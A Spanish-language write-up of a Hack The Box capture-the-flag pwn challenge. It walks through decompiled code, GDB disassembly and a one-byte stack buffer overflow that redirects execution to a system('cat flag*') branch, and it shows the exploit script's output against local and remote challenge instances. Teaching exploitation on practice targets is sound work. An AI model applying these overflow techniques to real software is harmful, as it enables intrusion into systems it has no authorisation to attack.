Space pirate: Going Deeper
6 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sp_going_deeper
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Si lo ejecutamos, tenemos tres opciones:
$ ./sp_going_deeper
Trying to leak information from the pc.. 🖥️
____________________________________________________
/ \
| _____________________________________________ |
| | | |
| | goldenfang@d12:$ history | |
| | 1 ls | |
| | 2 mv secret_pass.txt flag.txt | |
| | 3 chmod -x missile_launcher.py | |
| | 4 ls | |
| | 5 history | |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| |_____________________________________________| |
| |
\_____________________________________________________/
\_______________________________________/
_______________________________________________
_-' .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-. --- `-_
_-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--. .-.-.`-_
_-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
_-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
_-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>>
En este punto, vamos a abrir el binario en Ghidra para analizar el código en C descompilado. Esta es la función main
:
undefined8 main() {
setup();
banner();
puts("\x1b[1;34m");
admin_panel(1, 2, 3);
return 0;
}
Y esta función llama a admin_panel
usando los parámetros 1
, 2
y 3
:
void admin_panel(long param_1, long param_2, long param_3) {
int iVar1;
char local_38[40];
long local_10;
local_10 = 0;
printf("[*] Safety mechanisms are enabled!\n[*] Values are set to: a = [%x], b = [%ld], c = [%ld]. \n[*] If you want to continue, disable the mechanism or login as admin.\n", param_1, param_2, param_3);
while (((local_10 != 1 && (local_10 != 2)) && (local_10 != 3))) {
printf(&DAT_004014e8);
local_10 = read_num();
}
if (local_10 == 1) {
printf("\n[*] Input: ");
} else {
if (local_10 != 2) {
puts("\n[!] Exiting..\n");
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[*] Username: ");
}
read(0, local_38, 0x39);
if (((param_1 == 0xdeadbeef) && (param_2 == 0x1337c0de)) && (param_3 == 0x1337beef)) {
iVar1 = strncmp("DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft", local_38, 0x34);
if (iVar1 != 0) {
printf("\n%s[+] Welcome admin! The secret message is: ", &DAT_00400c38);
system("cat flag*");
goto LAB_00400b38;
}
}
printf("\n%s[-] Authentication failed!\n", &DAT_00400c40);
LAB_00400b38:
puts("\n[!] For security reasons, you are logged out..\n");
return;
}
Lo primero que vemos es que necesitamos usar la primera o la segunda opción para llegar al punto donde se ejecuta system("cat flag*")
. Para ello, tenemos que fallar en una comparación entre strings con una contraseña hard-coded (nótese que iVar1 != 0
). Además, los parámetros pasados a la función tienen que ser 0xdeadbeef
, 0x1337c0de
y 0x1337beef
(no 1
, 2
, 3
).
Existe una vulnerabilidad de Buffer Overflow. Nótese que local_38
es una cadena de caracteres de 40 bytes, y el programa lee hasta 0x39
(57) bytes. Por tanto, somos capaces de sobrescribir valores de la pila (por ejemplo, la dirección de retorno).
La idea es sobrescribir la dirección de retorno con la dirección de system("cat flag*")
(realmente, una o dos direcciones antes), de manera que redirigimos el flujo de ejecución del programa y leemos la flag. Vamos a tratar de romper el programa:
$ ./sp_going_deeper
...
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>> 1
[*] Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
[-] Authentication failed!
[!] For security reasons, you are logged out..
zsh: segmentation fault (core dumped) ./sp_going_deeper
El programa se rompe, lo que significa que la dirección de retorno se ha modificado y el flujo de ejecución se ha corrompido. Vamos a ver en GDB cómo podemos controlar la dirección de retorno:
$ gdb -q sp_going_deeper
Reading symbols from sp_going_deeper...
(No debugging symbols found in sp_going_deeper)
gef➤ disassemble admin_panel
Dump of assembler code for function admin_panel:
...
0x0000000000400aba <+209>: call 0x400730 <read@plt>
0x0000000000400abf <+214>: mov eax,0xdeadbeef
0x0000000000400ac4 <+219>: cmp QWORD PTR [rbp-0x38],rax
0x0000000000400ac8 <+223>: jne 0x400b20 <admin_panel+311>
0x0000000000400aca <+225>: cmp QWORD PTR [rbp-0x40],0x1337c0de
0x0000000000400ad2 <+233>: jne 0x400b20 <admin_panel+311>
0x0000000000400ad4 <+235>: cmp QWORD PTR [rbp-0x48],0x1337beef
0x0000000000400adc <+243>: jne 0x400b20 <admin_panel+311>
0x0000000000400ade <+245>: lea rax,[rbp-0x30]
0x0000000000400ae2 <+249>: mov edx,0x34
0x0000000000400ae7 <+254>: mov rsi,rax
0x0000000000400aea <+257>: lea rdi,[rip+0xa67] # 0x401558
0x0000000000400af1 <+264>: call 0x4006e0 <strncmp@plt>
0x0000000000400af6 <+269>: test eax,eax
0x0000000000400af8 <+271>: je 0x400b20 <admin_panel+311>
0x0000000000400afa <+273>: lea rsi,[rip+0x137] # 0x400c38
0x0000000000400b01 <+280>: lea rdi,[rip+0xa88] # 0x401590
0x0000000000400b08 <+287>: mov eax,0x0
0x0000000000400b0d <+292>: call 0x400710 <printf@plt>
0x0000000000400b12 <+297>: lea rdi,[rip+0xaa5] # 0x4015be
0x0000000000400b19 <+304>: call 0x400700 <system@plt>
...
End of assembler dump.
Estaré usando la dirección 0x400afa
. Para poder enviar esta dirección, tiene que estar formateada como bytes (little-endian). Vamos a explotarlo localmente:
$ gdb -q sp_going_deeper
Reading symbols from sp_going_deeper...
(No debugging symbols found in sp_going_deeper)
gef➤ run
Starting program: ./sp_going_deeper
...
[*] Safety mechanisms are enabled!
[*] Values are set to: a = [1], b = [2], c = [3].
[*] If you want to continue, disable the mechanism or login as admin.
1. Disable mechanisms ⚙️
2. Login ✅
3. Exit 🏃
>> 1
[*] Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-] Authentication failed!
[!] For security reasons, you are logged out..
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400b41 in admin_panel ()
gef➤ x $rsp
0x7fffffffe600: 0x00400ba0
gef➤ p $rip
$1 = (void (*)()) 0x400b41 <admin_panel+344>
Pero no sucede lo que esperamos, no vemos el montón de A
en la pila. Vamos a usar otra letra, por ejemplo la B
, por si acaso:
gef➤ x $rsp
0x7fffffffe600: 0x00400ba0
gef➤ p $rip
$2 = (void (*)()) 0x400b42 <admin_panel+345>
¿Ves la diferencia? El primer $rip
se modificó a 0x400b41
, y el segundo a 0x400b42
. Esto significa que tenemos un solo byte de desbordamiento, pero es suficiente para redirigir el flujo de ejecución del programa. Por ejemplo, podemos hacer que $rip
apunte a 0x400b01
(introduciendo \x01
). Vamos a usar Python y pwntools
para desarrollar el exploit. Podemos probarlo en local:
$ python3 solve.py
[*] './sp_going_deeper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Starting local process './sp_going_deeper': pid 39473
[+] Flag: HTB{f4k3_fl4g_f0r_t35t1ng}
[*] Stopped process './sp_going_deeper' (pid 39473)
Y funciona, vamos a ver en remoto:
$ python3 solve.py 142.93.40.15:32536
[*] './sp_going_deeper'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[+] Opening connection to 142.93.40.15 on port 32536: Done
[+] Flag: HTB{d1g_1n51d3..u_Cry_cry_cry}
[*] Closed connection to 142.93.40.15 port 32536
El exploit completo se puede encontrar aquí: solve.py
.